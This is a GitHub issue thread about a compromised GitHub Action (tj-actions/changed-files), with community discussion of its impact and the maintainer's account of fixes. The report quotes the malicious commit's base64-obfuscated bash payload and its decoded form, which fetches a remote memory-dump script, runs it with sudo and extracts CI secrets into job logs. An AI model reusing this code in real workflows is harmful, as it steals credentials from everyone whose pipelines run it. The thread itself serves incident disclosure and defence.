Skip to content

[BUG] Pretty sure this repo got hacked and if you use this it will send your secrets to a hacker #2464

Closed
withastro/astro
#13456

Description

@Leroy231

Is there an existing issue for this?

  • I have searched the existing issues

Does this issue exist in the latest version?

  • I'm using the latest release

Describe the bug?

See 0e58ed8. Has the following code:

async function updateFeatures(token) {
  
    const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
        ignoreReturnCode: true,
        silent: true
    });
    core.info(stdout);
    
}

Base 64 decoded it's:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Sending secrets to a GitHub gist.

To Reproduce

Use this action in GitHub Actions

What OS are you seeing the problem on?

windows-latest or windows-2022

Expected behavior?

No hacks

Relevant log output

See above

Has all relevant logs been included?

  • I've included all relevant logs

Anything else?

No response

Code of Conduct

  • I agree to follow this project's Code of Conduct

Activity

  1. tj-actions-bot commented on Mar 14, 2025

    @tj-actions-bot
    Contributor

    Thanks for reporting this issue, don't forget to star this project if you haven't already to help us reach a wider audience.

  2. varunsh-coder commented on Mar 14, 2025

    @varunsh-coder

    I had created an issue for this incident here: #2463

  3. gaby commented on Mar 14, 2025

    @gaby

    Ping @jackton1

    Please add 2FA to your account!

  4. ElijahLynn commented on Mar 14, 2025

    @ElijahLynn

    fwiw, it doesn't appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.

  5. AdnaneKhan commented on Mar 15, 2025

    @AdnaneKhan

    fwiw, it doesn't appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.

    Private repos should still not use this action until there is an all clear. This is either:

    • Maintainer compromise
    • Rogue maintainer

    In both cases, the actor responsible can trivially update the backdoor to exfiltrate credentials too.

  6. gaby commented on Mar 15, 2025

    @gaby

    @nikitastupin Can you delete that memdump.py file?

  7. ElijahLynn commented on Mar 15, 2025

    @ElijahLynn
  8. ElijahLynn commented on Mar 15, 2025

    @ElijahLynn

    Report the repo as active malware so GitHub can disable it in the meantime.

    support.github.com/contact/report-abuse?category=report-content&report=tj-actions&report_content_url=https%3A%2F%2Fgithub.com%2Ftj-actions%2Fchanged-files&report_id=67116787&report_type=content

    Done, thanks for the link, didn't know about that yet!

    For everyone else, please submit one too to stop this from spreading further, you can copy/paste this:

    URGENT: hundreds/thousands of `github_token` secrets leaked, and many more. 
    
    See https://github.com/tj-actions/changed-files/issues/2463
    
  9. bachya commented on Mar 15, 2025

    @bachya

    Does this only affect public repos, or is there an exploitable surface area in private repos, too?

  10. smbonn2005 commented on Mar 15, 2025

    @smbonn2005

    Does this only affect public repos, or is there an exploitable surface area in private repos, too?

    @bachya As of this moment it only prints secrets to the actions log in double base64 encoded format. So technically not exploitable in private repo's, but doesn't mean this couldn't be changed.

  11. tdorianh commented on Mar 15, 2025

    @tdorianh

    This could be an issue in private repos (especially for organizations) if there are members who can view the private repo but do not have the same access level as the workflow token, or who do not have access to the same secrets as the workflow.

    This assumes you're pinned to the compromised commit, and not to a tag. If you've pinned a tag, assume that whoever did this may update it further to do other things.

  12. NetOpWibby commented on Mar 15, 2025

    @NetOpWibby

    Seems like this isn't meant to be a malicious takeover. The author of the gist also made this: https://github.com/nikitastupin/pwnhub ("How GitHub Actions workflows can be hacked")

  13. ryanaslett commented on Mar 15, 2025

    @ryanaslett

    The author of the gist likely has nothing to do with this, and somebody has taken their POC's and implemented them IRL.

  14. 7 remaining items

  15. onedr0p commented on Mar 15, 2025

    @onedr0p

    Yes I think we are all very intrigued to know the RCA of this, for an action with over 22k public installs it would very good to be transparent here.

  16. LorenzoRogai commented on Mar 15, 2025

    @LorenzoRogai

    why does this still exist though? can we really be sure to start using it again?

    0e58ed8

  17. jackton1 commented on Mar 15, 2025

    @jackton1
    Contributor

    @intrigus-lgtm @onedr0p This attack appears to have been conducted from a PAT token linked to @tj-actions-bot account to which "GitHub is not able to determine how this PAT was compromised."

    Account Security Enhancements

    • The password for the tj-actions-bot account has been updated.
    • Authentication has been upgraded to use a passkey for enhanced security.
    • The tj-actions-bot account role has been updated to ensure it has only the minimum necessary permissions.
    • GitHub proactively revoked the compromised Personal Access Token (PAT) and flagged the organization to prevent further exploitation.
  18. ppat commented on Mar 15, 2025

    @ppat

    Can you explicitly state or link to the tag with the fix instead of saying to use the latest version please? Also, this is worth calling out in main README that everyone should update to an explicitly stated version or later.

  19. mattmoor commented on Mar 15, 2025

    @mattmoor

    @jackton1 fwiw, we built Octo STS to eliminate our own usage of GitHub PATs for automation exactly like this in favor of federated trust relationships. Personally I'd love it if GitHub would just launch their own, so we don't have to run this, but if you'd have any interest in discussing it after the dust settles, feel free to reach out to me.

    My meta concern is that without knowing how the PAT leaked, there's no telling whether it will simply leak again by the same means.

  20. jackton1 commented on Mar 15, 2025

    @jackton1
    Contributor

    Can you explicitly state or link to the tag with the fix instead of saying to use the latest version please? Also, this is worth calling out in main README that everyone should update to an explicitly stated version or later.

    Hi @ppat, all tags have been restored and fixed, except for v45.0.5 through v45.0.9. These versions all point to the latest commit on main.

  21. jackton1 commented on Mar 15, 2025

    @jackton1
    Contributor

    @jackton1 fwiw, we built Octo STS to eliminate our own usage of GitHub PATs for automation exactly like this in favor of federated trust relationships. Personally I'd love it if GitHub would just launch their own, so we don't have to run this, but if you'd have any interest in discussing it after the dust settles, feel free to reach out to me.

    My meta concern is that without knowing how the PAT leaked, there's no telling whether it will simply leak again by the same means.

    HI @mattmoor, Thank you for sharing this, and I appreciate the suggestion regarding Octo STS. It’s an interesting approach to improving security for automation workflows, and I agree that having GitHub provide a similar solution natively would be ideal. Once things settle down, I’d be happy to discuss this further and learn more about your implementation.

    I completely understand the importance of identifying the root cause of the PAT leak to prevent recurrence. I’m actively working to investigate how the leak occurred and will take steps to ensure that the same vulnerability cannot be exploited again.

  22. mceachen commented on Mar 15, 2025

    @mceachen

    @intrigus-lgtm @onedr0p This attack appears to have been conducted from a PAT token linked to @tj-actions-bot account to which "GitHub is not able to determine how this PAT was compromised."

    Account Security Enhancements

    * The password for the `tj-actions-bot` account has been updated.
    
    * Authentication has been upgraded to use a passkey for enhanced security.
    
    * The tj-actions-bot account role has been updated to ensure it has only the minimum necessary permissions.
    
    * GitHub proactively revoked the compromised Personal Access Token (PAT) and flagged the organization to prevent further exploitation.
    

    You may also want to consider requiring only signed commits to this repo.

  23. jackton1 commented on Mar 15, 2025

    @jackton1
    Contributor

    @mceachen Thank you for the suggestion! Requiring signed commits has been enabled which wasn’t initially required to ensure the integrity of all contributions. We’ll continue to monitor and enhance security measures as needed to prevent any future incidents. If you have any additional recommendations, feel free to share them.

  24. Mohamed-E commented on Mar 15, 2025

    @Mohamed-E

    @jackton1 Do you know the scope of the secrets that could have been exposed? Workflow level? Repo level? Org level? Or just all secrets in the chain?

  25. nightpool commented on Mar 16, 2025

    @nightpool

    @jackton1 Do you have proof that the access came from the PAT? If so, where was that PAT stored and how was it used? Presumably, since it's your bot, you're the only one with access to the PAT, correct?

    Regardless of the PAT though, it seems clear in the PR logs that the commits were pushed from your own account, not from the @tj-actions-bot account:

    Image
  26. osdiab commented on Mar 16, 2025

    @osdiab

    This is not reassuring that you don’t know how the PAT was compromised… makes me think it’ll just happen again.

  27. jackton1 commented on Mar 16, 2025

    @jackton1
    Contributor

    @jackton1 Do you have proof that the access came from the PAT? If so, where was that PAT stored and how was it used? Presumably, since it's your bot, you're the only one with access to the PAT, correct?

    Regardless of the PAT though, it seems clear in the PR logs that the commits were pushed from your own account, not from the @tj-actions-bot account:

    Image

    The author of the commit is clearly misleading see the details of commit here: #2463 (comment)

    How the PAT was obtained unfortunately "GitHub is not able to determine how this PAT was compromised."

  28. jackton1 commented on Mar 16, 2025

    @jackton1
    Contributor

    This is not reassuring that you don’t know how the PAT was compromised… makes me think it’ll just happen again.

    The Personal access token affected was stored as a GitHub action secret which has since been revoked. Going forward no PAT would be used for all projects in the tj-actions organization to prevent any risk of reoccurrence. We’ll continue to monitor and enhance security measures as needed to prevent any future incidents. If you have any additional recommendations, feel free to share them.

  29. locked as too heated and limited conversation to collaborators on Mar 16, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions